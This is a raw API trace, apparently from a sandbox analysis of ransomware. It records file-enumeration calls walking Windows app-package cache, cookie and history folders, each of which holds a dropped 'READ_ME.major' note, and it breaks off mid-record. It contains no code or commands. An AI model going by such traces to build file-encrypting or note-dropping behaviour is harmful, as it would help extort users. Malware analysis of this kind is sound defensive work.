[0228.304] FindNextFileW (in: hFindFile=0x2f331a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32922ee1, ftCreationTime.dwHighDateTime=0x1d32756, ftLastAccessTime.dwLowDateTime=0xd0ee01ba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37078db6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.304] FindNextFileW (in: hFindFile=0x2f331a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37078db6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37078db6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37078db6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.304] FindNextFileW (in: hFindFile=0x2f331a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37078db6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37078db6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37078db6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.304] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x726dcc78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x726dcc78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x376624a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f335e0 [0228.304] FindNextFileW (in: hFindFile=0x2f335e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x726dcc78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x726dcc78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x376624a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.304] FindNextFileW (in: hFindFile=0x2f335e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x376624a4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x376624a4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x376624a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.304] FindNextFileW (in: hFindFile=0x2f335e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x376624a4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x376624a4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x376624a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.304] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x726dcc78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x726dcc78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x376624a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f333a0 [0228.305] FindNextFileW (in: hFindFile=0x2f333a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x726dcc78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x726dcc78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x376624a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.305] FindNextFileW (in: hFindFile=0x2f333a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x376624a4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x376624a4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x376624a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.305] FindNextFileW (in: hFindFile=0x2f333a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x376624a4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x376624a4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x376624a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.305] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x726dcc78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x726dcc78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x376624a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f333e0 [0228.305] FindNextFileW (in: hFindFile=0x2f333e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x726dcc78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x726dcc78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x376624a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.305] FindNextFileW (in: hFindFile=0x2f333e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x376624a4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x376624a4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x376624a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.305] FindNextFileW (in: hFindFile=0x2f333e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x376624a4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x376624a4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x376624a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.305] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x833d38ba, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd107f5ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x376fae09, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33420 [0228.306] FindNextFileW (in: hFindFile=0x2f33420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x833d38ba, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd107f5ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x376fae09, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.306] FindNextFileW (in: hFindFile=0x2f33420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x376fae09, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x376fae09, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37721481, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.306] FindNextFileW (in: hFindFile=0x2f33420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x376fae09, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x376fae09, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37721481, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.306] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x833d38ba, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd107f9e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37721481, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33620 [0228.306] FindNextFileW (in: hFindFile=0x2f33620, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x833d38ba, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd107f9e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37721481, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.306] FindNextFileW (in: hFindFile=0x2f33620, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37721481, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37721481, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37721481, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.306] FindNextFileW (in: hFindFile=0x2f33620, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37721481, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37721481, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37721481, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.306] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x833d38ba, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd107fe0f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37721481, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33460 [0228.307] FindNextFileW (in: hFindFile=0x2f33460, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x833d38ba, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd107fe0f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37721481, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.308] FindNextFileW (in: hFindFile=0x2f33460, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37721481, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37721481, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37721481, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.308] FindNextFileW (in: hFindFile=0x2f33460, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37721481, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37721481, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37721481, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.308] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x702cd265, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x702cd265, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x377937c5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33060 [0228.308] FindNextFileW (in: hFindFile=0x2f33060, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x702cd265, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x702cd265, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x377937c5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.308] FindNextFileW (in: hFindFile=0x2f33060, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x377937c5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x377937c5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x377937c5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.308] FindNextFileW (in: hFindFile=0x2f33060, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x377937c5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x377937c5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x377937c5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.308] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x702cd265, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x702cd265, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x377937c5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33660 [0228.308] FindNextFileW (in: hFindFile=0x2f33660, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x702cd265, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x702cd265, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x377937c5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.308] FindNextFileW (in: hFindFile=0x2f33660, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x377937c5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x377937c5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x377937c5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.309] FindNextFileW (in: hFindFile=0x2f33660, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x377937c5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x377937c5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x377937c5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.309] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x702cd265, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x702cd265, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x377937c5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f336a0 [0228.309] FindNextFileW (in: hFindFile=0x2f336a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x702cd265, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x702cd265, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x377937c5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.309] FindNextFileW (in: hFindFile=0x2f336a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x377937c5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x377937c5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x377937c5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.309] FindNextFileW (in: hFindFile=0x2f336a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x377937c5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x377937c5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x377937c5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.309] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x8a703502, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd1282232, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37805f76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f336e0 [0228.310] FindNextFileW (in: hFindFile=0x2f336e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x8a703502, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd1282232, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37805f76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.310] FindNextFileW (in: hFindFile=0x2f336e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37805f76, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37805f76, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37805f76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.310] FindNextFileW (in: hFindFile=0x2f336e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37805f76, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37805f76, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37805f76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.310] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x8a703502, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd12829ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37805f76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33720 [0228.310] FindNextFileW (in: hFindFile=0x2f33720, lpFindFileData=0x2e3fb24 | out: 